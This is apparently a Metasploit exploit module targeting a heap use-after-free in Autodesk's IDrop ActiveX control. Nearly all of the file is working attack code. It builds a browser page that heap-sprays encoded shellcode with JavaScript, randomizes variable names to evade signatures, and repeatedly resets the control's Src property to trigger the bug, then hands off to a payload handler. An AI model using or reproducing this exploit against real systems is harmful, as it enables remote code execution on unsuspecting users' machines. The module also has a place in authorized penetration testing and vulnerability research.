##
# $Id: autodesk_idrop.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',
			'Description'    => %q{
					This module exploits a heap-based memory corruption vulnerability in
				Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.
				An attacker can execute arbitrary code by triggering a heap use after
				free condition using the Src, Background, PackageXml properties.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Elazar Broad <elazarb[at]earthlink.net>',   # Original exploit [see References]
					'Trancer <mtrancer[at]gmail.com>'            # Metasploit implementation
				],
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'OSVDB', '53265' ],
					[ 'BID', '34352' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/8560' ],
					[ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]
				],
			'DisclosureDate' => 'Apr 2 2009',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Setup exploit buffers
		nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
		blocksize = 0x40000
		fillto    = 550
		offset 	  = target['Offset']

		# Randomize the javascript variable names
		idrop	     = rand_text_alpha(rand(100) + 1)
		j_function   = rand_text_alpha(rand(100) + 1)
		j_shellcode  = rand_text_alpha(rand(100) + 1)
		j_nops       = rand_text_alpha(rand(100) + 1)
		j_headersize = rand_text_alpha(rand(100) + 1)
		j_slackspace = rand_text_alpha(rand(100) + 1)
		j_fillblock  = rand_text_alpha(rand(100) + 1)
		j_block      = rand_text_alpha(rand(100) + 1)
		j_memory     = rand_text_alpha(rand(100) + 1)
		j_counter    = rand_text_alpha(rand(30) + 2)
		j_ret        = rand_text_alpha(rand(100) + 1)
		j_mem        = rand_text_alpha(rand(100) + 1)

		# Build out the message
		content = %Q|
<html>
<head>
<script language='javascript' defer>
function #{j_function}() {
	#{j_shellcode}=unescape('#{shellcode}');
	#{j_nops}=unescape('#{nops}');
	#{j_headersize}=20;
	#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
	while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
	#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
	#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
	while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
	#{j_memory}=new Array();
	for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

	var #{j_ret} = '';
	for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {
		#{j_ret} += unescape('%u0a0a');
	}
	for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {
		try {
			var #{j_mem} = #{idrop}.Src;
			#{idrop}.Src = 'http://' + #{j_ret};
			#{idrop}.Src = #{j_mem};
			#{idrop}.Src = 'http://' + #{j_ret};
		} catch(e){}

	}
}
</script>
</head>
<body onload='return #{j_function}();'>
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>
</body>
</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
